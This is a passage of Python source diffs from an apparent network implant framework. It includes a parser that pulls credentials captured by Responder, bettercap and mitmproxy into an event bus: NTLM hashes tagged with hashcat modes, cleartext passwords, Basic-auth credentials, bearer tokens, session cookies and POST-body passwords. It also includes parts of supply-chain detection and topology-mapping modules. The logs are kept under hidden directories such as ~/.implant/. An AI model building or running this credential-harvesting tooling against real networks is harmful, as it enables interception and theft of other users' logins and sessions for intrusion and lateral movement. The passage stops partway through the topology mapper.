self._conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._conn.execute("PRAGMA journal_mode=WAL")
self._conn.execute("PRAGMA synchronous=NORMAL")
self._conn.row_factory = sqlite3.Row
self._conn.executescript(_SCHEMA)
# Subscribe to host discovery for port-based detection
self.bus.subscribe(self._on_host_discovered, "HOST_DISCOVERED")
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
# Periodic scan of accumulated DNS and HTTP data
self._scan_thread = threading.Thread(
target=self._periodic_scan, daemon=True,
name="sensor-supply-chain-scan",
)
self._scan_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("SupplyChainDetect started — db=%s", self._db_path)
def stop(self) -> None:
if not self._running:
return
self._running = False
self.bus.unsubscribe(self._on_host_discovered, "HOST_DISCOVERED")
if self._conn:
self._conn.close()
self._conn = None
self.state.set_module_status(self.name, "stopped")
logger.info("SupplyChainDetect stopped — %d detections", self._detection_count)
def status(self) -> dict:
det_count = 0
if self._conn:
try:
with self._lock:
row = self._conn.execute(
"SELECT COUNT(*) FROM supply_chain"
).fetchone()
det_count = row[0] if row else 0
except Exception:
pass
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"detections": det_count,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Detection functions
# ------------------------------------------------------------------
def analyze_http_request(self, target_ip: str, target_port: int,
method: str, path: str, host_header: str = "",
user_agent: str = "") -> Optional[dict]:
"""Analyze an HTTP request for supply chain infrastructure indicators.
Called by tool_output_parser or directly by HTTP monitoring modules.
Returns:
Detection dict if found, None otherwise.
"""
for pattern, infra_type, description, confidence in _HTTP_PATH_PATTERNS:
if pattern.search(path):
det = self._record_detection(
infra_type=infra_type,
target_ip=target_ip,
target_hostname=host_header,
target_port=target_port,
evidence=f"{method} {path}",
confidence=confidence,
details=json.dumps({
"method": method,
"path": path,
"host": host_header,
"user_agent": user_agent,
"description": description,
}),
)
return det
return None
def analyze_dns_query(self, query_name: str, resolved_ip: str = "",
client_ip: str = "") -> Optional[dict]:
"""Analyze a DNS query for supply chain infrastructure indicators.
Returns:
Detection dict if found, None otherwise.
"""
for pattern, infra_type, description, confidence in _DNS_PATTERNS:
if pattern.search(query_name):
det = self._record_detection(
infra_type=infra_type,
target_ip=resolved_ip or "unresolved",
target_hostname=query_name,
target_port=None,
evidence=f"DNS: {query_name}",
confidence=confidence,
details=json.dumps({
"query": query_name,
"resolved_ip": resolved_ip,
"client_ip": client_ip,
"description": description,
}),
)
return det
return None
def analyze_port(self, target_ip: str, port: int,
hostname: str = "") -> Optional[dict]:
"""Check if a discovered open port suggests supply chain infrastructure."""
if port not in _PORT_PATTERNS:
return None
infra_type, description, confidence = _PORT_PATTERNS[port]
if confidence < 0.5:
# Low-confidence port-only detections need corroboration
# Check if we already have DNS or HTTP evidence for this IP
existing = self._get_detections_for_ip(target_ip)
if existing:
# Boost confidence if corroborated
confidence = min(confidence + 0.3, 0.95)
else:
return None
return self._record_detection(
infra_type=infra_type,
target_ip=target_ip,
target_hostname=hostname,
target_port=port,
evidence=f"Open port {port}",
confidence=confidence,
details=json.dumps({"description": description, "port": port}),
)
def _on_host_discovered(self, event) -> None:
"""Check discovered host ports for supply chain indicators."""
p = event.payload
ip = p.get("ip", "")
hostname = p.get("hostname", "")
ports = p.get("open_ports", [])
for port in ports:
self.analyze_port(ip, port, hostname)
# ------------------------------------------------------------------
# Database operations
# ------------------------------------------------------------------
def _record_detection(self, infra_type: str, target_ip: str,
target_hostname: str, target_port: Optional[int],
evidence: str, confidence: float,
details: str = "") -> dict:
"""Record a supply chain detection, deduplicating by type+ip+port."""
now = time.time()
detection = {
"type": infra_type,
"target_ip": target_ip,
"target_hostname": target_hostname,
"target_port": target_port,
"evidence": evidence,
"confidence": confidence,
"details": details,
}
with self._lock:
try:
self._conn.execute(
"""INSERT INTO supply_chain
(type, target_ip, target_hostname, target_port,
evidence, confidence, first_seen, last_seen, details)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(type, target_ip, target_port) DO UPDATE SET
last_seen = excluded.last_seen,
confidence = MAX(supply_chain.confidence, excluded.confidence),
evidence = supply_chain.evidence || '; ' || excluded.evidence,
target_hostname = CASE WHEN excluded.target_hostname != ''
THEN excluded.target_hostname
ELSE supply_chain.target_hostname END
""",
(infra_type, target_ip, target_hostname, target_port,
evidence, confidence, now, now, details),
)
self._conn.commit()
self._detection_count += 1
logger.info(
"Supply chain detection: %s at %s:%s (%s, confidence=%.2f)",
infra_type, target_ip, target_port, evidence, confidence,
)
except Exception:
logger.exception("Failed to record supply chain detection")
return detection
def _get_detections_for_ip(self, ip: str) -> list:
"""Get all detections for a given IP."""
with self._lock:
try:
rows = self._conn.execute(
"SELECT * FROM supply_chain WHERE target_ip = ?", (ip,)
).fetchall()
return [dict(r) for r in rows]
except Exception:
return []
# ------------------------------------------------------------------
# Periodic scanning
# ------------------------------------------------------------------
def _periodic_scan(self) -> None:
"""Periodically pull DNS and HTTP data from other modules' state."""
interval = self.config.get("supply_chain_scan_interval", 180)
while self._running:
time.sleep(interval)
try:
self._scan_dns_data()
self._scan_http_data()
except Exception:
logger.exception("Periodic supply chain scan failed")
def _scan_dns_data(self) -> None:
"""Pull recent DNS queries from dns_logger state and analyze."""
last_ts = self.state.get(self.name, "dns_scan_last_ts")
last_ts = float(last_ts) if last_ts else 0
dns_json = self.state.get("dns_logger", "recent_queries")
if not dns_json:
return
try:
queries = json.loads(dns_json)
max_ts = last_ts
for q in queries:
ts = q.get("timestamp", 0)
if ts <= last_ts:
continue
self.analyze_dns_query(
query_name=q.get("query_name", ""),
resolved_ip=q.get("resolved_ip", ""),
client_ip=q.get("client_ip", ""),
)
max_ts = max(max_ts, ts)
self.state.set(self.name, "dns_scan_last_ts", str(max_ts))
except (json.JSONDecodeError, TypeError):
pass
def _scan_http_data(self) -> None:
"""Pull recent HTTP log data from state and analyze."""
last_ts = self.state.get(self.name, "http_scan_last_ts")
last_ts = float(last_ts) if last_ts else 0
http_json = self.state.get("http_monitor", "recent_requests")
if not http_json:
return
try:
requests = json.loads(http_json)
max_ts = last_ts
for req in requests:
ts = req.get("timestamp", 0)
if ts <= last_ts:
continue
self.analyze_http_request(
target_ip=req.get("target_ip", ""),
target_port=req.get("target_port", 80),
method=req.get("method", "GET"),
path=req.get("path", ""),
host_header=req.get("host", ""),
user_agent=req.get("user_agent", ""),
)
max_ts = max(max_ts, ts)
self.state.set(self.name, "http_scan_last_ts", str(max_ts))
except (json.JSONDecodeError, TypeError):
pass
# ------------------------------------------------------------------
# Query interface
# ------------------------------------------------------------------
def get_detections(self, infra_type: str = None,
min_confidence: float = 0.0) -> list:
"""Get supply chain detections, optionally filtered."""
with self._lock:
if infra_type:
rows = self._conn.execute(
"""SELECT * FROM supply_chain
WHERE type = ? AND confidence >= ?
ORDER BY confidence DESC""",
(infra_type, min_confidence),
).fetchall()
else:
rows = self._conn.execute(
"""SELECT * FROM supply_chain
WHERE confidence >= ?
ORDER BY confidence DESC""",
(min_confidence,),
).fetchall()
return [dict(r) for r in rows]
def get_summary(self) -> dict:
"""Return a summary of detected supply chain infrastructure."""
with self._lock:
rows = self._conn.execute(
"""SELECT type, COUNT(*) as count,
AVG(confidence) as avg_confidence
FROM supply_chain
GROUP BY type
ORDER BY count DESC"""
).fetchall()
return {
"total_detections": sum(r[1] for r in rows),
"by_type": {r[0]: {"count": r[1], "avg_confidence": round(r[2], 2)}
for r in rows},
}
+801
View File
@@ -0,0 +1,801 @@
#!/usr/bin/env python3
"""Unified tool output parser — ingests output from bettercap, Responder,
and mitmproxy, extracting credentials and host data into the event bus.
Periodically scans tool log directories for new data and publishes
CREDENTIAL_FOUND and HOST_DISCOVERED events for other intel modules
to consume.
"""
import glob
import json
import logging
import os
import re
import threading
import time
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# -----------------------------------------------------------------------
# Responder log patterns
# -----------------------------------------------------------------------
# NTLMv2 hash format: user::domain:challenge:response:blob
_NTLMV2_RE = re.compile(
r"^(?P<username>[^:]+?)::(?P<domain>[^:]*?):(?P<challenge>[0-9a-fA-F]+):"
r"(?P<response>[0-9a-fA-F]+):(?P<blob>[0-9a-fA-F]+)\s*$",
re.MULTILINE,
)
# NTLMv1 hash format: user::domain:lm_response:nt_response:challenge
_NTLMV1_RE = re.compile(
r"^(?P<username>[^:]+?)::(?P<domain>[^:]*?):(?P<lm>[0-9a-fA-F]+):"
r"(?P<nt>[0-9a-fA-F]+):(?P<challenge>[0-9a-fA-F]+)\s*$",
re.MULTILINE,
)
# Responder session log: credential captures with timestamps
# Format: [*] [TIMESTAMP] PROTOCOL - user:password from source_ip
_RESPONDER_SESSION_RE = re.compile(
r"^\[\*\]\s+\[(?P<timestamp>[^\]]+)\]\s+(?P<protocol>\w+)\s*[-:]\s*"
r"(?P<username>[^:]+):(?P<password>[^\s]+)\s+from\s+(?P<source_ip>[\d.]+)",
re.MULTILINE,
)
# HTTP Basic Auth captured by Responder
_RESPONDER_HTTP_RE = re.compile(
r"^\[\+\].*HTTP.*Username\s*:\s*(?P<username>\S+).*Password\s*:\s*(?P<password>\S+)",
re.MULTILINE | re.IGNORECASE,
)
# -----------------------------------------------------------------------
# bettercap event patterns
# -----------------------------------------------------------------------
# bettercap credential event types
_BETTERCAP_CRED_EVENTS = {
"net.sniff.credentials",
"http.proxy.credentials",
"https.proxy.credentials",
}
_BETTERCAP_HOST_EVENTS = {
"endpoint.new",
"endpoint.lost",
}
# -----------------------------------------------------------------------
# mitmproxy flow patterns
# -----------------------------------------------------------------------
# Authorization header patterns
_AUTH_BASIC_RE = re.compile(r"Basic\s+([A-Za-z0-9+/=]+)", re.I)
_AUTH_BEARER_RE = re.compile(r"Bearer\s+(\S+)", re.I)
# Cookie patterns with session identifiers
_SESSION_COOKIE_NAMES = {
"sessionid", "session_id", "phpsessid", "jsessionid",
"asp.net_sessionid", "connect.sid", "laravel_session",
"csrf_token", "_csrf", "xsrf-token",
}
# Interesting HTTP headers
_INTERESTING_HEADERS = {
"authorization", "x-api-key", "x-auth-token", "x-csrf-token",
"cookie", "set-cookie", "www-authenticate",
}
class ToolOutputParser(BaseModule):
"""Parse output from bettercap, Responder, and mitmproxy into structured events."""
name = "tool_output_parser"
module_type = "intel"
priority = 80
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._lock = threading.Lock()
self._scan_thread: Optional[threading.Thread] = None
self._bettercap_thread: Optional[threading.Thread] = None
# Track file positions to avoid re-reading
self._file_positions: dict[str, int] = {}
# Dedup: track recently emitted credential hashes
self._emitted_hashes: set = set()
# Counters
self._creds_parsed = 0
self._hosts_parsed = 0
self._files_scanned = 0
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
# Load saved file positions
positions_json = self.state.get(self.name, "file_positions")
if positions_json:
try:
self._file_positions = json.loads(positions_json)
except (json.JSONDecodeError, TypeError):
pass
# Periodic log directory scanner
self._scan_thread = threading.Thread(
target=self._scan_loop, daemon=True,
name="sensor-tool-parser-scan",
)
self._scan_thread.start()
# bettercap event stream reader (if bettercap API available)
bettercap_cfg = self.config.get("bettercap", {})
if bettercap_cfg.get("enabled", True):
self._bettercap_thread = threading.Thread(
target=self._bettercap_event_loop, daemon=True,
name="sensor-tool-parser-bettercap",
)
self._bettercap_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("ToolOutputParser started")
def stop(self) -> None:
if not self._running:
return
self._running = False
# Save file positions for resume
self.state.set(self.name, "file_positions",
json.dumps(self._file_positions))
self.state.set_module_status(self.name, "stopped")
logger.info(
"ToolOutputParser stopped — creds=%d, hosts=%d, files=%d",
self._creds_parsed, self._hosts_parsed, self._files_scanned,
)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"credentials_parsed": self._creds_parsed,
"hosts_parsed": self._hosts_parsed,
"files_scanned": self._files_scanned,
"tracked_files": len(self._file_positions),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Log directory scanner
# ------------------------------------------------------------------
def _scan_loop(self) -> None:
"""Periodically scan tool output directories for new data."""
interval = self.config.get("scan_interval", 30)
while self._running:
try:
self._scan_responder_logs()
self._scan_mitmproxy_flows()
self._scan_bettercap_logs()
# Persist positions periodically
self.state.set(self.name, "file_positions",
json.dumps(self._file_positions))
except Exception:
logger.exception("Tool output scan cycle failed")
time.sleep(interval)
# ------------------------------------------------------------------
# Responder parser
# ------------------------------------------------------------------
def _scan_responder_logs(self) -> None:
"""Parse Responder log files for captured credentials."""
log_dirs = self.config.get("responder_log_dirs", [
"/opt/.cache/bb/responder/logs",
"/tmp/responder/logs",
os.path.expanduser("~/.implant/responder"),
])
for log_dir in log_dirs:
if not os.path.isdir(log_dir):
continue
# Parse NTLMv2 hash files
for path in glob.glob(os.path.join(log_dir, "*-NTLMv2-*.txt")):
self._parse_responder_hash_file(path, "ntlmv2", 5600)
# Parse NTLMv1 hash files
for path in glob.glob(os.path.join(log_dir, "*-NTLMv1-*.txt")):
self._parse_responder_hash_file(path, "ntlmv1", 5500)
# Parse session log
session_log = os.path.join(log_dir, "Responder-Session.log")
if os.path.isfile(session_log):
self._parse_responder_session(session_log)
def _parse_responder_hash_file(self, path: str, cred_type: str,
hashcat_mode: int) -> None:
"""Parse a Responder NTLMv1/v2 hash file."""
new_data = self._read_new_data(path)
if not new_data:
return
self._files_scanned += 1
regex = _NTLMV2_RE if cred_type == "ntlmv2" else _NTLMV1_RE
for match in regex.finditer(new_data):
full_hash = match.group(0).strip()
username = match.group("username")
domain = match.group("domain")
# Dedup check
hash_key = f"{cred_type}:{username}:{domain}:{full_hash[:32]}"
if hash_key in self._emitted_hashes:
continue
self._emitted_hashes.add(hash_key)
self._creds_parsed += 1
emit_credential_found(self.bus, self.name, {
"service": "smb",
"username": username,
"domain": domain,
"cred_type": cred_type,
"cred_value": full_hash,
"hashcat_mode": hashcat_mode,
"source_ip": "",
"target_ip": "",
"notes": f"Captured by Responder from {os.path.basename(path)}",
})
def _parse_responder_session(self, path: str) -> None:
"""Parse Responder-Session.log for cleartext credentials."""
new_data = self._read_new_data(path)
if not new_data:
return
self._files_scanned += 1
for match in _RESPONDER_SESSION_RE.finditer(new_data):
protocol = match.group("protocol").lower()
username = match.group("username")
password = match.group("password")
source_ip = match.group("source_ip")
hash_key = f"responder_session:{protocol}:{username}:{source_ip}"
if hash_key in self._emitted_hashes:
continue
self._emitted_hashes.add(hash_key)
self._creds_parsed += 1
emit_credential_found(self.bus, self.name, {
"service": protocol,
"username": username,
"domain": "",
"cred_type": f"{protocol}_cleartext",
"cred_value": password,
"hashcat_mode": None,
"source_ip": source_ip,
"target_ip": "",
"notes": "Cleartext capture by Responder",
})
# Also check for HTTP basic auth in session log
for match in _RESPONDER_HTTP_RE.finditer(new_data):
username = match.group("username")
password = match.group("password")
hash_key = f"responder_http:{username}:{password[:8]}"
if hash_key in self._emitted_hashes:
continue
self._emitted_hashes.add(hash_key)
self._creds_parsed += 1
emit_credential_found(self.bus, self.name, {
"service": "http",
"username": username,
"domain": "",
"cred_type": "http_basic",
"cred_value": password,
"hashcat_mode": None,
"source_ip": "",
"target_ip": "",
"notes": "HTTP Basic Auth captured by Responder",
})
# ------------------------------------------------------------------
# bettercap parser
# ------------------------------------------------------------------
def _scan_bettercap_logs(self) -> None:
"""Scan bettercap log files for credential and host events."""
log_dirs = self.config.get("bettercap_log_dirs", [
"/opt/.cache/bb/bettercap/logs",
os.path.expanduser("~/.implant/bettercap"),
])
for log_dir in log_dirs:
if not os.path.isdir(log_dir):
continue
for path in glob.glob(os.path.join(log_dir, "events*.json")):
self._parse_bettercap_event_file(path)
def _parse_bettercap_event_file(self, path: str) -> None:
"""Parse a bettercap JSON event log file."""
new_data = self._read_new_data(path)
if not new_data:
return
self._files_scanned += 1
# bettercap event files: one JSON object per line
for line in new_data.splitlines():
line = line.strip()
if not line:
continue
try:
event = json.loads(line)
except json.JSONDecodeError:
continue
self._process_bettercap_event(event)
def _bettercap_event_loop(self) -> None:
"""Connect to bettercap REST API and stream events."""
# Import here to avoid hard dependency
try:
import urllib.request
import urllib.error
except ImportError:
return
api_host = self.config.get("bettercap", {}).get("host", "127.0.0.1")
api_port = self.config.get("bettercap", {}).get("port", 8083)
api_user = self.config.get("bettercap", {}).get("api_user", "admin")
api_pass = self.config.get("bettercap", {}).get("api_password", "")
base_url = f"http://{api_host}:{api_port}"
last_event_id = 0
while self._running:
try:
url = f"{base_url}/api/events?n=50"
# Create auth handler
auth = f"{api_user}:{api_pass}"
import base64
auth_b64 = base64.b64encode(auth.encode()).decode()
req = urllib.request.Request(url)
req.add_header("Authorization", f"Basic {auth_b64}")
with urllib.request.urlopen(req, timeout=10) as resp:
data = json.loads(resp.read().decode())
if isinstance(data, list):
for event in data:
self._process_bettercap_event(event)
except urllib.error.URLError:
pass # bettercap not running — expected
except Exception:
logger.debug("bettercap API poll failed", exc_info=True)
time.sleep(5)
def _process_bettercap_event(self, event: dict) -> None:
"""Process a single bettercap event."""
tag = event.get("tag", "")
data = event.get("data", {})
if not isinstance(data, dict):
return
# Credential events
if tag in _BETTERCAP_CRED_EVENTS or tag == "net.sniff.credentials":
self._handle_bettercap_credential(data)
# Host discovery events
elif tag in _BETTERCAP_HOST_EVENTS or tag == "endpoint.new":
self._handle_bettercap_host(data)
# HTTP request events (for header analysis)
elif tag in ("net.sniff.http.request", "http.proxy.request"):
self._handle_bettercap_http(data)
def _handle_bettercap_credential(self, data: dict) -> None:
"""Extract credentials from a bettercap sniff event."""
protocol = data.get("protocol", "unknown").lower()
username = data.get("username", data.get("user", ""))
password = data.get("password", data.get("pass", ""))
source = data.get("from", data.get("src", ""))
target = data.get("to", data.get("dst", ""))
if not (username or password):
# Check for raw hash data
hash_val = data.get("hash", data.get("data", ""))
if hash_val:
cred_type = data.get("type", "unknown_hash")
hash_key = f"bettercap:{cred_type}:{hash_val[:32]}"
if hash_key in self._emitted_hashes:
return
self._emitted_hashes.add(hash_key)
self._creds_parsed += 1
emit_credential_found(self.bus, self.name, {
"service": protocol,
"username": "",
"domain": "",
"cred_type": cred_type,
"cred_value": hash_val,
"source_ip": source,
"target_ip": target,
"notes": "Captured by bettercap",
})
return
hash_key = f"bettercap:{protocol}:{username}:{password[:16]}"
if hash_key in self._emitted_hashes:
return
self._emitted_hashes.add(hash_key)
self._creds_parsed += 1
emit_credential_found(self.bus, self.name, {
"service": protocol,
"username": username,
"domain": "",
"cred_type": f"{protocol}_cleartext",
"cred_value": password,
"hashcat_mode": None,
"source_ip": source,
"target_ip": target,
"notes": "Captured by bettercap sniffer",
})
def _handle_bettercap_host(self, data: dict) -> None:
"""Extract host info from a bettercap endpoint event."""
ip = data.get("ipv4", data.get("addr", ""))
if not ip:
return
hash_key = f"bettercap:host:{ip}"
if hash_key in self._emitted_hashes:
return
self._emitted_hashes.add(hash_key)
self._hosts_parsed += 1
self.bus.emit("HOST_DISCOVERED", {
"ip": ip,
"mac": data.get("mac", ""),
"hostname": data.get("hostname", data.get("name", "")),
"os_family": data.get("os", ""),
"vendor": data.get("vendor", ""),
}, source_module=self.name)
def _handle_bettercap_http(self, data: dict) -> None:
"""Extract credentials from HTTP request headers."""
headers = data.get("headers", {})
if not isinstance(headers, dict):
return
host = data.get("host", "")
path = data.get("path", data.get("url", ""))
source = data.get("from", "")
for header_name, header_value in headers.items():
header_lower = header_name.lower()
if header_lower == "authorization":
self._parse_auth_header(header_value, host, source)
elif header_lower == "cookie":
self._parse_cookie_header(header_value, host, source)
def _parse_auth_header(self, value: str, host: str,
source_ip: str) -> None:
"""Parse Authorization header for credentials."""
# Basic Auth
basic_match = _AUTH_BASIC_RE.match(value)
if basic_match:
try:
import base64
decoded = base64.b64decode(basic_match.group(1)).decode("utf-8", errors="replace")
if ":" in decoded:
username, password = decoded.split(":", 1)
hash_key = f"http_auth:{host}:{username}"
if hash_key not in self._emitted_hashes:
self._emitted_hashes.add(hash_key)
self._creds_parsed += 1
emit_credential_found(self.bus, self.name, {
"service": f"http://{host}",
"username": username,
"domain": "",
"cred_type": "http_basic",
"cred_value": password,
"hashcat_mode": None,
"source_ip": source_ip,
"target_ip": host,
"notes": "HTTP Basic Auth from traffic",
})
except Exception:
pass
return
# Bearer token
bearer_match = _AUTH_BEARER_RE.match(value)
if bearer_match:
token = bearer_match.group(1)
hash_key = f"bearer:{host}:{token[:16]}"
if hash_key not in self._emitted_hashes:
self._emitted_hashes.add(hash_key)
self._creds_parsed += 1
# Check if it looks like a JWT
cred_type = "jwt" if token.count(".") == 2 else "bearer_token"
emit_credential_found(self.bus, self.name, {
"service": f"http://{host}",
"username": "",
"domain": "",
"cred_type": cred_type,
"cred_value": token,
"hashcat_mode": None,
"source_ip": source_ip,
"target_ip": host,
"notes": f"{cred_type.upper()} from HTTP traffic",
})
def _parse_cookie_header(self, value: str, host: str,
source_ip: str) -> None:
"""Parse Cookie header for session tokens."""
for cookie_pair in value.split(";"):
cookie_pair = cookie_pair.strip()
if "=" not in cookie_pair:
continue
name, cookie_val = cookie_pair.split("=", 1)
name = name.strip().lower()
if name in _SESSION_COOKIE_NAMES:
hash_key = f"cookie:{host}:{name}:{cookie_val[:16]}"
if hash_key not in self._emitted_hashes:
self._emitted_hashes.add(hash_key)
self._creds_parsed += 1
emit_credential_found(self.bus, self.name, {
"service": f"http://{host}",
"username": "",
"domain": "",
"cred_type": "cookie",
"cred_value": f"{name}={cookie_val}",
"hashcat_mode": None,
"source_ip": source_ip,
"target_ip": host,
"notes": f"Session cookie '{name}' from HTTP traffic",
})
# ------------------------------------------------------------------
# mitmproxy parser
# ------------------------------------------------------------------
def _scan_mitmproxy_flows(self) -> None:
"""Scan mitmproxy flow dump files for credentials."""
log_dirs = self.config.get("mitmproxy_log_dirs", [
"/opt/.cache/bb/mitmproxy",
os.path.expanduser("~/.implant/mitmproxy"),
])
for log_dir in log_dirs:
if not os.path.isdir(log_dir):
continue
# mitmproxy dumped flows (JSON format via mitmdump --set flow_detail=3)
for path in glob.glob(os.path.join(log_dir, "flows*.json")):
self._parse_mitmproxy_flow_file(path)
# Also check for plaintext credential logs
for path in glob.glob(os.path.join(log_dir, "credentials*.log")):
self._parse_mitmproxy_cred_log(path)
def _parse_mitmproxy_flow_file(self, path: str) -> None:
"""Parse a mitmproxy JSON flow dump."""
new_data = self._read_new_data(path)
if not new_data:
return
self._files_scanned += 1
for line in new_data.splitlines():
line = line.strip()
if not line:
continue
try:
flow = json.loads(line)
except json.JSONDecodeError:
continue
request = flow.get("request", {})
headers = request.get("headers", {})
host = request.get("host", "")
path_url = request.get("path", "")
method = request.get("method", "")
if isinstance(headers, dict):
for hdr_name, hdr_value in headers.items():
hdr_lower = hdr_name.lower()
if hdr_lower == "authorization":
self._parse_auth_header(hdr_value, host, "")
elif hdr_lower == "cookie":
self._parse_cookie_header(hdr_value, host, "")
# Check POST body for credentials
content = request.get("content", "")
if method == "POST" and content:
self._parse_post_body(content, host)
def _parse_mitmproxy_cred_log(self, path: str) -> None:
"""Parse a mitmproxy addon credential log (custom format)."""
new_data = self._read_new_data(path)
if not new_data:
return
self._files_scanned += 1
for line in new_data.splitlines():
line = line.strip()
if not line:
continue
try:
entry = json.loads(line)
except json.JSONDecodeError:
continue
username = entry.get("username", "")
password = entry.get("password", "")
host = entry.get("host", "")
if username and password:
hash_key = f"mitmproxy:{host}:{username}:{password[:16]}"
if hash_key in self._emitted_hashes:
continue
self._emitted_hashes.add(hash_key)
self._creds_parsed += 1
emit_credential_found(self.bus, self.name, {
"service": f"https://{host}",
"username": username,
"domain": "",
"cred_type": "http_form",
"cred_value": password,
"hashcat_mode": None,
"source_ip": "",
"target_ip": host,
"notes": "Form credentials captured by mitmproxy",
})
def _parse_post_body(self, content: str, host: str) -> None:
"""Look for credentials in HTTP POST bodies."""
# URL-encoded form data
cred_fields = {
"password", "passwd", "pass", "pwd", "secret",
"token", "api_key", "apikey",
}
user_fields = {
"username", "user", "login", "email", "account",
}
# Try URL-encoded
try:
from urllib.parse import parse_qs
params = parse_qs(content, keep_blank_values=True)
username = ""
password = ""
for field in user_fields:
if field in params:
username = params[field][0]
break
for field in cred_fields:
if field in params:
password = params[field][0]
break
if username and password:
hash_key = f"post:{host}:{username}:{password[:16]}"
if hash_key not in self._emitted_hashes:
self._emitted_hashes.add(hash_key)
self._creds_parsed += 1
emit_credential_found(self.bus, self.name, {
"service": f"http://{host}",
"username": username,
"domain": "",
"cred_type": "http_form",
"cred_value": password,
"hashcat_mode": None,
"source_ip": "",
"target_ip": host,
"notes": "Form POST credentials from HTTP traffic",
})
except Exception:
pass
# Try JSON body
try:
data = json.loads(content)
if isinstance(data, dict):
username = ""
password = ""
for field in user_fields:
if field in data:
username = str(data[field])
break
for field in cred_fields:
if field in data:
password = str(data[field])
break
if username and password:
hash_key = f"json_post:{host}:{username}:{password[:16]}"
if hash_key not in self._emitted_hashes:
self._emitted_hashes.add(hash_key)
self._creds_parsed += 1
emit_credential_found(self.bus, self.name, {
"service": f"http://{host}",
"username": username,
"domain": "",
"cred_type": "http_json",
"cred_value": password,
"hashcat_mode": None,
"source_ip": "",
"target_ip": host,
"notes": "JSON POST credentials from HTTP traffic",
})
except (json.JSONDecodeError, TypeError):
pass
# ------------------------------------------------------------------
# File reading utilities
# ------------------------------------------------------------------
def _read_new_data(self, path: str) -> str:
"""Read only new data from a file since the last read.
Returns the new data, or empty string if nothing new.
"""
try:
size = os.path.getsize(path)
except OSError:
return ""
last_pos = self._file_positions.get(path, 0)
if size <= last_pos:
return ""
try:
with open(path, "r", errors="replace") as f:
f.seek(last_pos)
data = f.read()
self._file_positions[path] = size
return data
except (IOError, PermissionError):
return ""
+528
View File
@@ -0,0 +1,528 @@
#!/usr/bin/env python3
"""Network topology mapper — aggregates host and VLAN data into graph output.
Subscribes to HOST_DISCOVERED and VLAN_DETECTED events. Queries the state
database for host_discovery, network_mapper, and vlan_discovery data.
Generates Graphviz DOT output with nodes color-coded by OS family and
shaped by role (workstation, server, printer, router, switch, AP).
"""
import json
import logging
import os
import subprocess
import threading
import time
from collections import defaultdict
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# OS family -> Graphviz fill color
_OS_COLORS = {
"windows": "#4488cc",
"linux": "#44aa44",
"macos": "#888888",
"ios": "#aaaaaa",
"android": "#88bb44",
"freebsd": "#cc4444",
"printer": "#ddaa44",
"network": "#cc8844",
"iot": "#aa66cc",
"unknown": "#cccccc",
}
# Device role -> Graphviz node shape
_ROLE_SHAPES = {
"workstation": "box",
"server": "box3d",
"printer": "tab",
"router": "diamond",
"switch": "hexagon",
"ap": "trapezium",
"phone": "ellipse",
"iot": "component",
"unknown": "ellipse",
}
# Protocol -> edge color
_PROTO_COLORS = {
"tcp": "#333333",
"udp": "#666666",
"smb": "#4488cc",
"http": "#44aa44",
"https": "#228822",
"dns": "#cc8844",
"ssh": "#cc4444",
"rdp": "#4444cc",
"ldap": "#aa66cc",
"kerberos": "#ddaa44",
}
class TopologyMapper(BaseModule):
"""Build and export a network topology graph from discovered hosts and links."""
name = "topology_mapper"
module_type = "intel"
priority = 150
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._lock = threading.Lock()
# In-memory graph: nodes keyed by IP, edges as (src, dst) -> {protocols, bytes}
self._nodes: dict[str, dict] = {}
self._edges: dict[tuple, dict] = defaultdict(lambda: {
"protocols": set(), "bytes_total": 0, "conn_count": 0,
})
self._vlans: dict[int, dict] = {}
self._update_thread: Optional[threading.Thread] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self.bus.subscribe(self._on_host_discovered, "HOST_DISCOVERED")
self.bus.subscribe(self._on_vlan_detected, "VLAN_DETECTED")
# Load any existing topology data from state
self._load_from_state()
# Periodic refresh from state database
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._update_thread = threading.Thread(
target=self._periodic_update, daemon=True,
name="sensor-topology-update",
)
self._update_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info(
"TopologyMapper started — %d nodes, %d edges loaded from state",
len(self._nodes), len(self._edges),
)
def stop(self) -> None:
if not self._running:
return
self._running = False
self.bus.unsubscribe(self._on_host_discovered, "HOST_DISCOVERED")
self.bus.unsubscribe(self._on_vlan_detected, "VLAN_DETECTED")
# Persist current topology
self._save_to_state()
self.state.set_module_status(self.name, "stopped")
logger.info(
"TopologyMapper stopped — %d nodes, %d edges",
len(self._nodes), len(self._edges),
)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"nodes": len(self._nodes),
"edges": len(self._edges),
"vlans": len(self._vlans),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Event handlers
# ------------------------------------------------------------------
def _on_host_discovered(self, event) -> None:
"""Ingest a newly discovered host."""
p = event.payload
ip = p.get("ip", "")
if not ip:
return
with self._lock:
if ip in self._nodes:
# Merge new data into existing node
node = self._nodes[ip]
node["last_seen"] = time.time()
if p.get("hostname"):
node["hostname"] = p["hostname"]
if p.get("os_family"):
node["os_family"] = p["os_family"].lower()
if p.get("role"):
node["role"] = p["role"].lower()
if p.get("mac"):
node["mac"] = p["mac"]
if p.get("open_ports"):
node.setdefault("open_ports", set()).update(p["open_ports"])
